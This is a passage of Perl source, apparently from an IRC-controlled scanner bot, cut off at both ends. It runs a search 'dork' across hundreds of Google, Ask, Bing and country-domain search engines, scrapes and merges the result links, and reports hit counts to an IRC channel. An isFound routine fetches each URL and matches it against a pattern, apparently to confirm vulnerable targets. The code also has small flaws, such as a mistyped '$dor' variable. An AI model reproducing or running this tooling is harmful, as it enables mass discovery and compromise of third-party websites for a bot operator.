push(@total,@googleJP); } if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); } if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); } if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); } if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); } if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); } if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); } if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); } if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); } if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); } if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); } if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); } if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); } if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); } if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); } if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); } if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); } if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); } if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); } if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); } if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); } if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); } if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); } if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); } if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); } if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); } if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); } if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); } if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); } if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); } if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); } if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); } if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); } if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); } if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); } if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); } if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); } if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); } if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); } if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); } if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); } if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); } if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); } if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); } if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); } if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); } if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); } if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); } if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); } if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); } if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); } if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); } if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); } if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); } if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); } if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); } if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); } if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); } if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); } if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); } if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); } if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); } if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); } if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); } if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); } if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); } if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); } if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); } if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); } if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); } if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); } if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); } if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); } if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); } if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); } if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); } if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); } if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); } if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); } if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); } if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); } if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); } if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); } if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); } if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); } if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); } if ($engine eq "US") { my @us = &us($dork); push(@total,@us); } if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); } if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); } if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); } if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); } if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); } if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); } if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); } if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); } if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); } if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); } if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); } if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); } if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); } if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); } if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); } if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); } if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); } if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); } if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); } if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); } if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); } if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); } if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); } if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); } if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); } if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); } if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); } if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); } if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); } if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); } if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); } if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); } if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); } if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); } if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); } if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); } if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); } if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); } if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); } if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); } if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); } if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); } if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); } if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); } if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); } if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); } if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); } if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); } if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); } if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); } if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); } if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); } if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); } if ($engine eq "GT") { my @gt = &gt($dork); push(@total,@gt); } if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); } if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); } if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); } if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); } if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); } if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); } if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); } if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); } if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); } if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); } if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); } if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); } if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); } if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); } if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); } if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); } if ($engine eq "LT") { my @lt = &lt($dork); push(@total,@lt); } if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); } if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); } if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); } if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); } if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); } if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); } if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); } if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); } if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); } if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); } if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); } if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); } if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); } if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); } if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); } if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); } if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); } if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); } if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); } if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); } if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); } if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); } if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); } if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); } if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); } if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); } if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); } if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); } if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); } if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); } if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); } if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); } if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); } if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); } if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); } if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); } if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); } if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); } if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); } if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); } if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); } if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); } if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); } if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); } if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); } if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); } if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); } if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); } if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); } if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "af") { my @af = &af($dork); push(@total,@af); } if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); } if ($engine eq "al") { my @al = &al($dork); push(@total,@al); } if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); } if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); } if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); } if ($engine eq "am") { my @am = &am($dork); push(@total,@am); } if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); } if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); } if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); } if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); } if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); } if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); } if ($engine eq "io") { my @io = &io($dork); push(@total,@io); } if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); } if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); } if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); } if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); } if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); } if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); } if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); } if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); } if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); } if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); } if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); } if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); } if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); } if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); } if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); } if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); } if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); } if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); } if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); } if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); } if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); } if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); } if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); } if ($engine eq "la") { my @la = &la($dork); push(@total,@la); } if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); } if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); } if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); } if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); } if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); } if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); } if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); } if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); } if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); } if ($engine eq "md") { my @md = &md($dork); push(@total,@md); } if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); } if ($engine eq "me") { my @me = &me($dork); push(@total,@me); } if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); } if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); } if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); } if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); } if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); } if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); } if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); } if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); } if ($engine eq "re") { my @re = &re($dork); push(@total,@re); } if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); } if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); } if ($engine eq "st") { my @st = &st($dork); push(@total,@st); } if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); } if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); } if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); } if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); } if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); } if ($engine eq "so") { my @so = &so($dork); push(@total,@so); } if ($engine eq "su") { my @su = &su($dork); push(@total,@su); } if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); } if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); } if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); } if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); } if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); } if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); } if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); } if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); } if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); } if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); } if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); } if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "WaLLa") { my @walla = &walla($dork,$chan); push(@total,@walla); } if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); } if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); } if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); } if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); } if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); } if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); } if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); } if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); } if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); } if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); } if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); } if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); } if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); } if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); } if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); } if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); } if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); } if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); } if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); } if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); } if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); } if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); } if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); } @clean = &clean(@total); my $num = scalar(@clean); if ($silentmode == 0) { if ($num > 0){ &msg("$chan","$logo 15,1 $engine 4 ".$num." 15");sleep(2); } } return @clean; } ################################################################################## sub isFound() { my $status = 0; my $link = $_[0]; my $reqexp = $_[1]; my $res = &get_content($link); if ($res =~ /$reqexp/) { $status = 1 } return $status; } sub get_content() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout($timot); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } ######################################### SEARCH ENGINE sub googleCA() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCA/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleDE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleDE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleUK() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleUK/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleFR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleFR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleES() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleES/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleIT() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIT/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(1); sub googleNL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleNL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleBE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleBE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCH() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCH/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(1); sub googleSE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleSE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleDK() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleDK/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleNO() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleNO/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(1); sub googleNZ() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleNZ/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleIE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleBR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(2); sub googleAR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = 